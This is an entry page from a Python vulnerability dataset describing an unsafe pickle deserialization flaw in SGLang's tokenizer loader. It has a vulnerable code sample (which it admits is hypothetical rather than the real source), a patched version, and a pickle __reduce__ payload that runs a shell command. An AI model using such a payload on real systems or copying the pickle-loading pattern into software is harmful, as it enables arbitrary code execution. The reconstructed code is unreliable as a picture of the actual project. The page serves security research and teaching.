VAITP Dataset

← Back to the dataset

CVE-2026-7669

Remote deserialization vulnerability in SGLang's get_tokenizer function.

  • CVSS 6.3
  • CWE-74
  • Input Validation and Sanitization
  • Remote

A vulnerability was detected in sgl-project SGLang up to 0.5.9. Impacted is the function get_tokenizer of the file python/sglang/srt/utils/hf_transformers_utils.py of the component HuggingFace Transformer Handler. The manipulation results in deserialization. The attack can be executed remotely. A high complexity level is associated with this attack. The exploitability is considered difficult. The vendor was contacted early about this disclosure but did not respond in any way.

CVE
CVE-2026-7669
CWE
CWE-74
CVSS base score
6.3
Published
2026-05-02
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
SGLang
Fixed by upgrading
Yes

Solution

As the vendor has not provided a patch, there is no official version to upgrade to for this specific vulnerability.

Vulnerable code sample

import os
import pickle
from transformers import AutoTokenizer

# The following code is a hypothetical representation of the vulnerability
# described in CVE-2026-7669, as the CVE ID itself is not officially recognized
# and real source code is unavailable. This pattern demonstrates unsafe
# deserialization from a user-controllable path.

def get_tokenizer(tokenizer_path: str, *args, **kwargs):
    """
    Load a tokenizer. If a local 'tokenizer.pkl' file exists in the provided
    path, it is loaded via pickle. Otherwise, the tokenizer is loaded from
    the HuggingFace Hub.
    """
    # Check for a local pickled tokenizer file.
    # An attacker can control 'tokenizer_path' to point to a directory
    # containing a malicious 'tokenizer.pkl'.
    pickle_file = os.path.join(tokenizer_path, "tokenizer.pkl")

    if os.path.isfile(pickle_file):
        # Vulnerability: Unsafe deserialization from a file path that can be
        # controlled by a remote user. Loading a malicious pickle file can
        # result in arbitrary code execution.
        with open(pickle_file, "rb") as f:
            return pickle.load(f)

    # Default, safe behavior
    return AutoTokenizer.from_pretrained(tokenizer_path, *args, **kwargs)

Patched code sample

from transformers import AutoTokenizer

def get_tokenizer(
    tokenizer_path: str,
    tokenizer_mode: str = "auto",
    trust_remote_code: bool = False,
    *args,
    **kwargs,
):
    """
    Loads a tokenizer using the safe, standard HuggingFace method.

    The vulnerability (hypothetically representing CVE-2026-7669) would have involved
    an insecure deserialization method, such as loading a Python pickle file from
    the tokenizer_path. An attacker could craft a malicious pickle file to achieve
    remote code execution.

    The fix is to completely avoid insecure deserialization and instead use the
    industry-standard `AutoTokenizer.from_pretrained` method. This function
    securely loads tokenizer configurations (typically from JSON files) and
    prevents arbitrary code execution. The `trust_remote_code` parameter is
    explicitly set to `False` by default as an additional security best practice.
    """
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_path,
        tokenizer_mode=tokenizer_mode,
        trust_remote_code=trust_remote_code,
        *args,
        **kwargs,
    )
    return tokenizer

Payload

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned'
        return (os.system, (cmd,))

with open('malicious.pkl', 'wb') as f:
    pickle.dump(RCE(), f)

Cite this entry

@misc{vaitp:cve20267669,
  title        = {{Remote deserialization vulnerability in SGLang's get_tokenizer function.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-7669},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-7669/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::